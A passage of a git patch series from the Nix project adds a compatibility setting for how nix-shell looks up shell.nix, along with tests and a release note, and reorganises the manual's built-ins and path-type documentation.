rCompatibilitySettings(&compatibilitySettings); + + MixEvalArgs::MixEvalArgs() { addFlag({ diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 189abf0ed..8d303ee7c 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -13,6 +13,7 @@ namespace nix { class Store; class EvalState; struct EvalSettings; +struct CompatibilitySettings; class Bindings; struct SourcePath; @@ -21,6 +22,11 @@ struct SourcePath; */ extern EvalSettings evalSettings; +/** + * Settings that control behaviors that have changed since Nix 2.3. + */ +extern CompatibilitySettings compatibilitySettings; + struct MixEvalArgs : virtual Args, virtual MixRepair { static constexpr auto category = "Common evaluation options"; diff --git a/src/libcmd/compatibility-settings.hh b/src/libcmd/compatibility-settings.hh new file mode 100644 index 000000000..5dc0eaf2b --- /dev/null +++ b/src/libcmd/compatibility-settings.hh @@ -0,0 +1,19 @@ +#pragma once +#include "config.hh" + +namespace nix { +struct CompatibilitySettings : public Config +{ + + CompatibilitySettings() = default; + + Setting nixShellAlwaysLooksForShellNix{this, true, "nix-shell-always-looks-for-shell-nix", R"( + Before Nix 2.24, [`nix-shell`](@docroot@/command-ref/nix-shell.md) would only look at `shell.nix` if it was in the working directory - when no file was specified. + + Since Nix 2.24, `nix-shell` always looks for a `shell.nix`, whether that's in the working directory, or in a directory that was passed as an argument. + + You may set this to `false` to revert to the Nix 2.3 behavior. + )"}; +}; + +}; diff --git a/src/libcmd/meson.build b/src/libcmd/meson.build index d9a90508a..2c8a9fa33 100644 --- a/src/libcmd/meson.build +++ b/src/libcmd/meson.build @@ -97,6 +97,7 @@ headers = [config_h] + files( 'command-installable-value.hh', 'command.hh', 'common-eval-args.hh', + 'compatibility-settings.hh', 'editor-for.hh', 'installable-attr-path.hh', 'installable-derived-path.hh', diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 30cc86456..d37b16bdc 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -26,6 +26,7 @@ #include "legacy.hh" #include "users.hh" #include "network-proxy.hh" +#include "compatibility-settings.hh" using namespace nix; using namespace std::string_literals; @@ -100,7 +101,13 @@ static SourcePath resolveShellExprPath(SourcePath path) auto resolvedOrDir = resolveExprPath(path, false); if (resolvedOrDir.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) { if ((resolvedOrDir / "shell.nix").pathExists()) { - return resolvedOrDir / "shell.nix"; + if (compatibilitySettings.nixShellAlwaysLooksForShellNix) { + return resolvedOrDir / "shell.nix"; + } else { + warn("Skipping '%1%', because the setting '%2%' is disabled. This is a deprecated behavior. Consider enabling '%2%'.", + resolvedOrDir / "shell.nix", + "nix-shell-always-looks-for-shell-nix"); + } } if ((resolvedOrDir / "default.nix").pathExists()) { return resolvedOrDir / "default.nix"; @@ -302,11 +309,17 @@ static void main_nix_build(int argc, char * * argv) fromArgs = true; remainingArgs = {joined.str()}; } else if (!fromArgs && remainingArgs.empty()) { - remainingArgs = {"."}; + if (isNixShell && !compatibilitySettings.nixShellAlwaysLooksForShellNix && std::filesystem::exists("shell.nix")) { + // If we're in 2.3 compatibility mode, we need to look for shell.nix + // now, because it won't be done later. + remainingArgs = {"shell.nix"}; + } else { + remainingArgs = {"."}; - // Instead of letting it throw later, we throw here to give a more relevant error message - if (isNixShell && !std::filesystem::exists("shell.nix") && !std::filesystem::exists("default.nix")) - throw Error("no argument specified and no '%s' or '%s' file found in the working directory", "shell.nix", "default.nix"); + // Instead of letting it throw later, we throw here to give a more relevant error message + if (isNixShell && !std::filesystem::exists("shell.nix") && !std::filesystem::exists("default.nix")) + throw Error("no argument specified and no '%s' or '%s' file found in the working directory", "shell.nix", "default.nix"); + } } if (isNixShell) diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh index f54e3621c..65ff279f8 100755 --- a/tests/functional/nix-shell.sh +++ b/tests/functional/nix-shell.sh @@ -21,6 +21,10 @@ output=$(nix-shell --pure "$shellDotNix" -A shellDrv --run \ [ "$output" = " - foo - bar - true" ] +output=$(nix-shell --pure "$shellDotNix" -A shellDrv --option nix-shell-always-looks-for-shell-nix false --run \ + 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $TEST_inNixShell"') +[ "$output" = " - foo - bar - true" ] + # Test --keep output=$(nix-shell --pure --keep SELECTED_IMPURE_VAR "$shellDotNix" -A shellDrv --run \ 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $SELECTED_IMPURE_VAR"') @@ -101,6 +105,11 @@ nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' | grepQuiet # https://github.com/NixOS/nix/issues/4529 nix-shell -I "testRoot=$TEST_ROOT" '' -A shellDrv --run 'echo "it works"' | grepQuiet "it works" +expectStderr 1 nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' --option nix-shell-always-looks-for-shell-nix false \ + | grepQuiet -F "do not load default.nix!" # we did, because we chose to enable legacy behavior +expectStderr 1 nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' --option nix-shell-always-looks-for-shell-nix false \ + | grepQuiet "Skipping .*lookup-test/shell\.nix.*, because the setting .*nix-shell-always-looks-for-shell-nix.* is disabled. This is a deprecated behavior\. Consider enabling .*nix-shell-always-looks-for-shell-nix.*" + ( cd $TEST_ROOT/empty; expectStderr 1 nix-shell | \ From c4a20a41019ef3cd806059102cbe1d45fcbdd2b8 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 23:02:32 +0200 Subject: [PATCH 1019/1251] rl-next: Add note about shell.nix lookups --- .../rl-next/nix-shell-looks-for-shell-nix.md | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 doc/manual/rl-next/nix-shell-looks-for-shell-nix.md diff --git a/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md b/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md new file mode 100644 index 000000000..99be4148b --- /dev/null +++ b/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md @@ -0,0 +1,28 @@ +--- +synopsis: "`nix-shell ` looks for `shell.nix`" +significance: significant +issues: +- 496 +- 2279 +- 4529 +- 5431 +- 11053 +prs: +- 11057 +--- + +`nix-shell $x` now looks for `$x/shell.nix` when `$x` resolves to a directory. + +Although this might be seen as a breaking change, its primarily interactive usage makes it a minor issue. +This adjustment addresses a commonly reported problem. + +This also applies to `nix-shell` shebang scripts. Consider the following example: + +```shell +#!/usr/bin/env nix-shell +#!nix-shell -i bash +``` + +This will now load `shell.nix` from the script's directory, if it exists; `default.nix` otherwise. + +The old behavior can be opted into by setting the option [`nix-shell-always-looks-for-shell-nix`](@docroot@/command-ref/conf-file.md#conf-nix-shell-always-looks-for-shell-nix) to `false`. From 0f8a655023be204499c6360e072b36f58f6f194c Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 7 Jul 2024 13:02:21 +0200 Subject: [PATCH 1020/1251] tests/functional/shell.nix: Implement runHook for dummy stdenv --- tests/functional/shell.nix | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tests/functional/shell.nix b/tests/functional/shell.nix index 75e3845ea..1fb00c5a3 100644 --- a/tests/functional/shell.nix +++ b/tests/functional/shell.nix @@ -26,6 +26,9 @@ let pkgs = rec { fun() { echo blabla } + runHook() { + eval "''${!1}" + } ''; stdenv = mkDerivation { From e1106b45a31228c6f5fe8be0bd5fbde08e7c3255 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 7 Jul 2024 13:03:19 +0200 Subject: [PATCH 1021/1251] tests/functional/nix-shell.sh: Fix Polo test for VM test It is unclear to me why this worked when not in a VM test, but the explanation would be in the part of nix-shell we're getting rid of with the devShell attribute. --- tests/functional/shell.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/functional/shell.nix b/tests/functional/shell.nix index 1fb00c5a3..750cdf0bc 100644 --- a/tests/functional/shell.nix +++ b/tests/functional/shell.nix @@ -56,6 +56,7 @@ let pkgs = rec { # See nix-shell.sh polo = mkDerivation { name = "polo"; + inherit stdenv; shellHook = '' echo Polo ''; From 193dd5d9342e4ee7892b391d32240bbc431f16c8 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 7 Jul 2024 14:49:52 +0200 Subject: [PATCH 1022/1251] Fixup: add missing test file --- tests/functional/shell.shebang.legacy.expr | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100755 tests/functional/shell.shebang.legacy.expr diff --git a/tests/functional/shell.shebang.legacy.expr b/tests/functional/shell.shebang.legacy.expr new file mode 100755 index 000000000..490542f43 --- /dev/null +++ b/tests/functional/shell.shebang.legacy.expr @@ -0,0 +1,10 @@ +#! @ENV_PROG@ nix-shell +#! nix-shell "{ script, path, ... }: assert path == ./shell.nix; script { fooContents = toString ./.; }" +#! nix-shell --no-substitute +#! nix-shell --expr +#! nix-shell --arg script "import ((builtins.getEnv ''TEST_ROOT'')+''/shell.nix'')" +#! nix-shell --arg path "./shell.nix" +#! nix-shell -A shellDrv +#! nix-shell -i bash +#! nix-shell --option nix-shell-shebang-arguments-relative-to-script false +echo "$FOO" From 95890b3e1d1aa0cf3d4df672287bc1b15686d671 Mon Sep 17 00:00:00 2001 From: Ryan Hendrickson Date: Sun, 7 Jul 2024 15:57:23 -0400 Subject: [PATCH 1023/1251] docs: merge builtin-constants into builtins --- doc/manual/generate-builtin-constants.nix | 31 ------------ doc/manual/generate-builtins.nix | 16 ++++-- doc/manual/local.mk | 10 +--- doc/manual/src/SUMMARY.md.in | 9 ++-- doc/manual/src/_redirects | 1 + .../src/language/builtin-constants-prefix.md | 5 -- .../src/language/builtin-constants-suffix.md | 1 - doc/manual/src/language/builtins-prefix.md | 10 ++-- .../src/language/constructs/lookup-path.md | 2 +- doc/manual/src/language/derivations.md | 2 +- doc/manual/src/language/types.md | 4 +- src/libexpr/eval-settings.hh | 14 +++--- src/libexpr/primops.cc | 4 +- src/libstore/globals.hh | 2 +- src/libutil/experimental-features.cc | 2 +- src/nix/main.cc | 49 ++++++++----------- 16 files changed, 62 insertions(+), 100 deletions(-) delete mode 100644 doc/manual/generate-builtin-constants.nix delete mode 100644 doc/manual/src/language/builtin-constants-prefix.md delete mode 100644 doc/manual/src/language/builtin-constants-suffix.md diff --git a/doc/manual/generate-builtin-constants.nix b/doc/manual/generate-builtin-constants.nix deleted file mode 100644 index cccd1e279..000000000 --- a/doc/manual/generate-builtin-constants.nix +++ /dev/null @@ -1,31 +0,0 @@ -let - inherit (builtins) concatStringsSep attrValues mapAttrs; - inherit (import ) optionalString squash; -in - -builtinsInfo: -let - showBuiltin = name: { doc, type, impure-only }: - let - type' = optionalString (type != null) " (${type})"; - - impureNotice = optionalString impure-only '' - > **Note** - > - > Not available in [pure evaluation mode](@docroot@/command-ref/conf-file.md#conf-pure-eval). - ''; - in - squash '' -
- ${name}${type'} -
-
- - ${doc} - - ${impureNotice} - -
- ''; -in -concatStringsSep "\n" (attrValues (mapAttrs showBuiltin builtinsInfo)) diff --git a/doc/manual/generate-builtins.nix b/doc/manual/generate-builtins.nix index 007b698f1..13de6c397 100644 --- a/doc/manual/generate-builtins.nix +++ b/doc/manual/generate-builtins.nix @@ -5,8 +5,10 @@ in builtinsInfo: let - showBuiltin = name: { doc, args, arity, experimental-feature }: + showBuiltin = name: { doc, type ? null, args ? [ ], experimental-feature ? null, impure-only ? false }: let + type' = optionalString (type != null) " (${type})"; + experimentalNotice = optionalString (experimental-feature != null) '' > **Note** > @@ -18,18 +20,26 @@ let > extra-experimental-features = ${experimental-feature} > ``` ''; + + impureNotice = optionalString impure-only '' + > **Note** + > + > Not available in [pure evaluation mode](@docroot@/command-ref/conf-file.md#conf-pure-eval). + ''; in squash ''
- ${name} ${listArgs args} + ${name}${listArgs args}${type'}
${experimentalNotice} ${doc} + + ${impureNotice}
''; - listArgs = args: concatStringsSep " " (map (s: "${s}") args); + listArgs = args: concatStringsSep "" (map (s: " ${s}") args); in concatStringsSep "\n" (attrValues (mapAttrs showBuiltin builtinsInfo)) diff --git a/doc/manual/local.mk b/doc/manual/local.mk index 71ad5c8e6..0cec52885 100644 --- a/doc/manual/local.mk +++ b/doc/manual/local.mk @@ -140,16 +140,10 @@ $(d)/xp-features.json: $(doc_nix) $(d)/src/language/builtins.md: $(d)/language.json $(d)/generate-builtins.nix $(d)/src/language/builtins-prefix.md $(doc_nix) @cat doc/manual/src/language/builtins-prefix.md > $@.tmp - $(trace-gen) $(nix-eval) --expr 'import doc/manual/generate-builtins.nix (builtins.fromJSON (builtins.readFile $<)).builtins' >> $@.tmp; + $(trace-gen) $(nix-eval) --expr 'import doc/manual/generate-builtins.nix (builtins.fromJSON (builtins.readFile $<))' >> $@.tmp; @cat doc/manual/src/language/builtins-suffix.md >> $@.tmp @mv $@.tmp $@ -$(d)/src/language/builtin-constants.md: $(d)/language.json $(d)/generate-builtin-constants.nix $(d)/src/language/builtin-constants-prefix.md $(doc_nix) - @cat doc/manual/src/language/builtin-constants-prefix.md > $@.tmp - $(trace-gen) $(nix-eval) --expr 'import doc/manual/generate-builtin-constants.nix (builtins.fromJSON (builtins.readFile $<)).constants' >> $@.tmp; - @cat doc/manual/src/language/builtin-constants-suffix.md >> $@.tmp - @mv $@.tmp $@ - $(d)/language.json: $(doc_nix) $(trace-gen) $(dummy-env) $(doc_nix) __dump-language > $@.tmp @mv $@.tmp $@ @@ -217,7 +211,7 @@ doc/manual/generated/man1/nix3-manpages: $(d)/src/command-ref/new-cli # `@docroot@` is to be preserved for documenting the mechanism # FIXME: maybe contributing guides should live right next to the code # instead of in the manual -$(docdir)/manual/index.html: $(MANUAL_SRCS) $(d)/book.toml $(d)/anchors.jq $(d)/custom.css $(d)/src/SUMMARY.md $(d)/src/store/types $(d)/src/command-ref/new-cli $(d)/src/contributing/experimental-feature-descriptions.md $(d)/src/command-ref/conf-file.md $(d)/src/language/builtins.md $(d)/src/language/builtin-constants.md $(d)/src/release-notes/rl-next.md $(d)/src/figures $(d)/src/favicon.png $(d)/src/favicon.svg +$(docdir)/manual/index.html: $(MANUAL_SRCS) $(d)/book.toml $(d)/anchors.jq $(d)/custom.css $(d)/src/SUMMARY.md $(d)/src/store/types $(d)/src/command-ref/new-cli $(d)/src/contributing/experimental-feature-descriptions.md $(d)/src/command-ref/conf-file.md $(d)/src/language/builtins.md $(d)/src/release-notes/rl-next.md $(d)/src/figures $(d)/src/favicon.png $(d)/src/favicon.svg $(trace-gen) \ tmp="$$(mktemp -d)"; \ cp -r doc/manual "$$tmp"; \ diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index 6e5c1aee1..a6a2101e9 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -32,11 +32,10 @@ - [String interpolation](language/string-interpolation.md) - [Lookup path](language/constructs/lookup-path.md) - [Operators](language/operators.md) - - [Derivations](language/derivations.md) - - [Advanced Attributes](language/advanced-attributes.md) - - [Import From Derivation](language/import-from-derivation.md) - - [Built-in Constants](language/builtin-constants.md) - - [Built-in Functions](language/builtins.md) + - [Built-ins](language/builtins.md) + - [Derivations](language/derivations.md) + - [Advanced Attributes](language/advanced-attributes.md) + - [Import From Derivation](language/import-from-derivation.md) - [Package Management](package-management/index.md) - [Profiles](package-management/profiles.md) - [Garbage Collection](package-management/garbage-collection.md) diff --git a/doc/manual/src/_redirects b/doc/manual/src/_redirects index c52ca0ddd..578c48f06 100644 --- a/doc/manual/src/_redirects +++ b/doc/manual/src/_redirects @@ -29,6 +29,7 @@ /expressions/* /language/:splat 301! /language/values /language/types 301! /language/constructs /language/syntax 301! +/language/builtin-constants /language/builtins 301! /installation/installation /installation 301! diff --git a/doc/manual/src/language/builtin-constants-prefix.md b/doc/manual/src/language/builtin-constants-prefix.md deleted file mode 100644 index 50f43006d..000000000 --- a/doc/manual/src/language/builtin-constants-prefix.md +++ /dev/null @@ -1,5 +0,0 @@ -# Built-in Constants - -These constants are built into the Nix language evaluator: - -
diff --git a/doc/manual/src/language/builtin-constants-suffix.md b/doc/manual/src/language/builtin-constants-suffix.md deleted file mode 100644 index a74db2857..000000000 --- a/doc/manual/src/language/builtin-constants-suffix.md +++ /dev/null @@ -1 +0,0 @@ -
diff --git a/doc/manual/src/language/builtins-prefix.md b/doc/manual/src/language/builtins-prefix.md index 7b2321466..fb983bb7f 100644 --- a/doc/manual/src/language/builtins-prefix.md +++ b/doc/manual/src/language/builtins-prefix.md @@ -1,9 +1,11 @@ -# Built-in Functions +# Built-ins -This section lists the functions built into the Nix language evaluator. -All built-in functions are available through the global [`builtins`](./builtin-constants.md#builtins-builtins) constant. +This section lists the values and functions built into the Nix language evaluator. +All built-ins are available through the global [`builtins`](#builtins-builtins) constant. -For convenience, some built-ins can be accessed directly: +Some built-ins are also exposed directly in the global scope: + + - [`derivation`](#builtins-derivation) - [`import`](#builtins-import) diff --git a/doc/manual/src/language/constructs/lookup-path.md b/doc/manual/src/language/constructs/lookup-path.md index 11278f3a8..11b9fe88c 100644 --- a/doc/manual/src/language/constructs/lookup-path.md +++ b/doc/manual/src/language/constructs/lookup-path.md @@ -6,7 +6,7 @@ A lookup path is an identifier with an optional path suffix that resolves to a [path value](@docroot@/language/types.md#type-path) if the identifier matches a search path entry. -The value of a lookup path is determined by [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath). +The value of a lookup path is determined by [`builtins.nixPath`](@docroot@/language/builtins.md#builtins-nixPath). See [`builtins.findFile`](@docroot@/language/builtins.md#builtins-findFile) for details on lookup path resolution. diff --git a/doc/manual/src/language/derivations.md b/doc/manual/src/language/derivations.md index 8879fe706..8e3f0f791 100644 --- a/doc/manual/src/language/derivations.md +++ b/doc/manual/src/language/derivations.md @@ -64,7 +64,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect > } > ``` > - > [`builtins.currentSystem`](@docroot@/language/builtin-constants.md#builtins-currentSystem) has the value of the [`system` configuration option], and defaults to the system type of the current Nix installation. + > [`builtins.currentSystem`](@docroot@/language/builtins.md#builtins-currentSystem) has the value of the [`system` configuration option], and defaults to the system type of the current Nix installation. - [`builder`]{#attr-builder} ([Path](@docroot@/language/types.md#type-path) | [String](@docroot@/language/types.md#type-string)) diff --git a/doc/manual/src/language/types.md b/doc/manual/src/language/types.md index 1b3e6b247..c6cfb3c69 100644 --- a/doc/manual/src/language/types.md +++ b/doc/manual/src/language/types.md @@ -37,7 +37,7 @@ A _boolean_ in the Nix language is one of _true_ or _false_. -These values are available as attributes of [`builtins`](builtin-constants.md#builtins-builtins) as [`builtins.true`](builtin-constants.md#builtins-true) and [`builtins.false`](builtin-constants.md#builtins-false). +These values are available as attributes of [`builtins`](builtins.md#builtins-builtins) as [`builtins.true`](builtins.md#builtins-true) and [`builtins.false`](builtins.md#builtins-false). The function [`builtins.isBool`](builtins.md#builtins-isBool) can be used to determine if a value is a boolean. ### String {#type-string} @@ -60,7 +60,7 @@ There is a single value of type _null_ in the Nix language. -This value is available as an attribute on the [`builtins`](builtin-constants.md#builtins-builtins) attribute set as [`builtins.null`](builtin-constants.md#builtins-null). +This value is available as an attribute on the [`builtins`](builtins.md#builtins-builtins) attribute set as [`builtins.null`](builtins.md#builtins-null). ## Compound values diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh index 5eae708a2..191dde21a 100644 --- a/src/libexpr/eval-settings.hh +++ b/src/libexpr/eval-settings.hh @@ -74,7 +74,7 @@ struct EvalSettings : Config R"( List of search paths to use for [lookup path](@docroot@/language/constructs/lookup-path.md) resolution. This setting determines the value of - [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath) and can be used with [`builtins.findFile`](@docroot@/language/builtin-constants.md#builtins-findFile). + [`builtins.nixPath`](@docroot@/language/builtins.md#builtins-nixPath) and can be used with [`builtins.findFile`](@docroot@/language/builtins.md#builtins-findFile). The default value is @@ -95,7 +95,7 @@ struct EvalSettings : Config this, "", "eval-system", R"( This option defines - [`builtins.currentSystem`](@docroot@/language/builtin-constants.md#builtins-currentSystem) + [`builtins.currentSystem`](@docroot@/language/builtins.md#builtins-currentSystem) in the Nix language if it is set as a non-empty string. Otherwise, if it is defined as the empty string (the default), the value of the [`system` ](#conf-system) @@ -116,7 +116,7 @@ struct EvalSettings : Config R"( If set to `true`, the Nix evaluator will not allow access to any files outside of - [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath), + [`builtins.nixPath`](@docroot@/language/builtins.md#builtins-nixPath), or to URIs outside of [`allowed-uris`](@docroot@/command-ref/conf-file.md#conf-allowed-uris). )"}; @@ -127,10 +127,10 @@ struct EvalSettings : Config - Restrict file system and network access to files specified by cryptographic hash - Disable impure constants: - - [`builtins.currentSystem`](@docroot@/language/builtin-constants.md#builtins-currentSystem) - - [`builtins.currentTime`](@docroot@/language/builtin-constants.md#builtins-currentTime) - - [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath) - - [`builtins.storePath`](@docroot@/language/builtin-constants.md#builtins-storePath) + - [`builtins.currentSystem`](@docroot@/language/builtins.md#builtins-currentSystem) + - [`builtins.currentTime`](@docroot@/language/builtins.md#builtins-currentTime) + - [`builtins.nixPath`](@docroot@/language/builtins.md#builtins-nixPath) + - [`builtins.storePath`](@docroot@/language/builtins.md#builtins-storePath) )" }; diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 7a946bdaa..134363e1a 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1872,7 +1872,7 @@ static RegisterPrimOp primop_findFile(PrimOp { - If the suffix is found inside that directory, then the entry is a match. The combined absolute path of the directory (now downloaded if need be) and the suffix is returned. - [Lookup path](@docroot@/language/constructs/lookup-path.md) expressions are [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) using this and [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath): + [Lookup path](@docroot@/language/constructs/lookup-path.md) expressions are [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) using this and [`builtins.nixPath`](#builtins-nixPath): ```nix @@ -4519,7 +4519,7 @@ void EvalState::createBaseEnv() addConstant("builtins", v, { .type = nAttrs, .doc = R"( - Contains all the [built-in functions](@docroot@/language/builtins.md) and values. + Contains all the built-in functions and values. Since built-in functions were added over time, [testing for attributes](./operators.md#has-attribute) in `builtins` can be used for graceful fallback on older Nix installations: diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index 439e9f4fc..dfe25f317 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -228,7 +228,7 @@ public: While you can force Nix to run a Darwin-specific `builder` executable on a Linux machine, the result would obviously be wrong. This value is available in the Nix language as - [`builtins.currentSystem`](@docroot@/language/builtin-constants.md#builtins-currentSystem) + [`builtins.currentSystem`](@docroot@/language/builtins.md#builtins-currentSystem) if the [`eval-system`](#conf-eval-system) configuration option is set as the empty string. diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc index 9b7000f9f..1c080e372 100644 --- a/src/libutil/experimental-features.cc +++ b/src/libutil/experimental-features.cc @@ -66,7 +66,7 @@ constexpr std::array xpFeatureDetails an impure derivation cannot also be [content-addressed](#xp-feature-ca-derivations). - This is a more explicit alternative to using [`builtins.currentTime`](@docroot@/language/builtin-constants.md#builtins-currentTime). + This is a more explicit alternative to using [`builtins.currentTime`](@docroot@/language/builtins.md#builtins-currentTime). )", .trackingUrl = "https://github.com/NixOS/nix/milestone/42", }, diff --git a/src/nix/main.cc b/src/nix/main.cc index e95558781..de6d89bd3 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -419,35 +419,28 @@ void mainWrapped(int argc, char * * argv) }; evalSettings.pureEval = false; EvalState state({}, openStore("dummy://"), evalSettings); - auto res = nlohmann::json::object(); - res["builtins"] = ({ - auto builtinsJson = nlohmann::json::object(); - for (auto & builtin : *state.baseEnv.values[0]->attrs()) { - auto b = nlohmann::json::object(); - if (!builtin.value->isPrimOp()) continue; - auto primOp = builtin.value->primOp(); - if (!primOp->doc) continue; - b["arity"] = primOp->arity; - b["args"] = primOp->args; - b["doc"] = trim(stripIndentation(primOp->doc)); + auto builtinsJson = nlohmann::json::object(); + for (auto & builtin : *state.baseEnv.values[0]->attrs()) { + auto b = nlohmann::json::object(); + if (!builtin.value->isPrimOp()) continue; + auto primOp = builtin.value->primOp(); + if (!primOp->doc) continue; + b["args"] = primOp->args; + b["doc"] = trim(stripIndentation(primOp->doc)); + if (primOp->experimentalFeature) b["experimental-feature"] = primOp->experimentalFeature; - builtinsJson[state.symbols[builtin.name]] = std::move(b); - } - std::move(builtinsJson); - }); - res["constants"] = ({ - auto constantsJson = nlohmann::json::object(); - for (auto & [name, info] : state.constantInfos) { - auto c = nlohmann::json::object(); - if (!info.doc) continue; - c["doc"] = trim(stripIndentation(info.doc)); - c["type"] = showType(info.type, false); - c["impure-only"] = info.impureOnly; - constantsJson[name] = std::move(c); - } - std::move(constantsJson); - }); - logger->cout("%s", res); + builtinsJson[state.symbols[builtin.name]] = std::move(b); + } + for (auto & [name, info] : state.constantInfos) { + auto b = nlohmann::json::object(); + if (!info.doc) continue; + b["doc"] = trim(stripIndentation(info.doc)); + b["type"] = showType(info.type, false); + if (info.impureOnly) + b["impure-only"] = true; + builtinsJson[name] = std::move(b); + } + logger->cout("%s", builtinsJson); return; } From 48804cffbf0663ac8cecd603973032377a0cab07 Mon Sep 17 00:00:00 2001 From: Ryan Hendrickson Date: Mon, 8 Jul 2024 00:41:19 -0400 Subject: [PATCH 1024/1251] docs: fill out language/types.md#type-path --- doc/manual/src/language/syntax.md | 18 ++---------------- doc/manual/src/language/types.md | 31 ++++++++++++++++++++++++++++++- 2 files changed, 32 insertions(+), 17 deletions(-) diff --git a/doc/manual/src/language/syntax.md b/doc/manual/src/language/syntax.md index 238c502f9..b0779ea95 100644 --- a/doc/manual/src/language/syntax.md +++ b/doc/manual/src/language/syntax.md @@ -190,18 +190,13 @@ This section covers syntax and semantics of the Nix language. ### Path {#path-literal} - *Paths* are distinct from strings and can be expressed by path literals such as `./builder.sh`. - - Paths are suitable for referring to local files, and are often preferable over strings. - - Path values do not contain trailing slashes, `.` and `..`, as they are resolved when evaluating a path literal. - - Path literals are automatically resolved relative to their [base directory](@docroot@/glossary.md#gloss-base-directory). - - The files referred to by path values are automatically copied into the Nix store when used in a string interpolation or concatenation. - - Tooling can recognize path literals and provide additional features, such as autocompletion, refactoring automation and jump-to-file. + *Paths* can be expressed by path literals such as `./builder.sh`. A path literal must contain at least one slash to be recognised as such. For instance, `builder.sh` is not a path: it's parsed as an expression that selects the attribute `sh` from the variable `builder`. + Path literals are resolved relative to their [base directory](@docroot@/glossary.md#gloss-base-directory). Path literals may also refer to absolute paths by starting with a slash. > **Note** @@ -215,15 +210,6 @@ This section covers syntax and semantics of the Nix language. For example, `~/foo` would be equivalent to `/home/edolstra/foo` for a user whose home directory is `/home/edolstra`. Path literals that start with `~` are not allowed in [pure](@docroot@/command-ref/conf-file.md#conf-pure-eval) evaluation. - Paths can be used in [string interpolation] and string concatenation. - For instance, evaluating `"${./foo.txt}"` will cause `foo.txt` from the same directory to be copied into the Nix store and result in the string `"/nix/store/-foo.txt"`. - - Note that the Nix language assumes that all input files will remain _unchanged_ while evaluating a Nix expression. - For example, assume you used a file path in an interpolated string during a `nix repl` session. - Later in the same session, after having changed the file contents, evaluating the interpolated string with the file path again might not return a new [store path], since Nix might not re-read the file contents. Use `:r` to reset the repl as needed. - - [store path]: @docroot@/store/store-path.md - Path literals can also include [string interpolation], besides being [interpolated into other expressions]. [interpolated into other expressions]: ./string-interpolation.md#interpolated-expressions diff --git a/doc/manual/src/language/types.md b/doc/manual/src/language/types.md index c6cfb3c69..229756e6b 100644 --- a/doc/manual/src/language/types.md +++ b/doc/manual/src/language/types.md @@ -50,8 +50,37 @@ The function [`builtins.isString`](builtins.md#builtins-isString) can be used to ### Path {#type-path} - +A _path_ in the Nix language is an immutable, finite-length sequence of bytes starting with `/`, representing a POSIX-style, canonical file system path. +Path values are distinct from string values, even if they contain the same sequence of bytes. +Operations that produce paths will simplify the result as the standard C function [`realpath`] would, except that there is no symbolic link resolution. +[`realpath`]: https://pubs.opengroup.org/onlinepubs/9699919799/functions/realpath.html + +Paths are suitable for referring to local files, and are often preferable over strings. +- Path values do not contain trailing or duplicate slashes, `.`, or `..`. +- Relative path literals are automatically resolved relative to their [base directory]. +- Tooling can recognize path literals and provide additional features, such as autocompletion, refactoring automation and jump-to-file. + +[base directory]: @docroot@/glossary.md#gloss-base-directory + +A file is not required to exist at a given path in order for that path value to be valid, but a path that is converted to a string with [string interpolation] or [string-and-path concatenation] must resolve to a readable file or directory which will be copied into the Nix store. +For instance, evaluating `"${./foo.txt}"` will cause `foo.txt` from the same directory to be copied into the Nix store and result in the string `"/nix/store/-foo.txt"`. +Operations such as [`import`] can also expect a path to resolve to a readable file or directory. + +[string interpolation]: string-interpolation.md#interpolated-expression +[string-and-path concatenation]: operators.md#string-and-path-concatenation +[`import`]: builtins.md#builtins-import + +> **Note** +> +> The Nix language assumes that all input files will remain _unchanged_ while evaluating a Nix expression. +> For example, assume you used a file path in an interpolated string during a `nix repl` session. +> Later in the same session, after having changed the file contents, evaluating the interpolated string with the file path again might not return a new [store path], since Nix might not re-read the file contents. +> Use `:r` to reset the repl as needed. + +[store path]: @docroot@/store/store-path.md + +Path values can be expressed as [path literals](syntax.md#path-literal). The function [`builtins.isPath`](builtins.md#builtins-isPath) can be used to determine if a value is a path. ### Null {#type-null} From 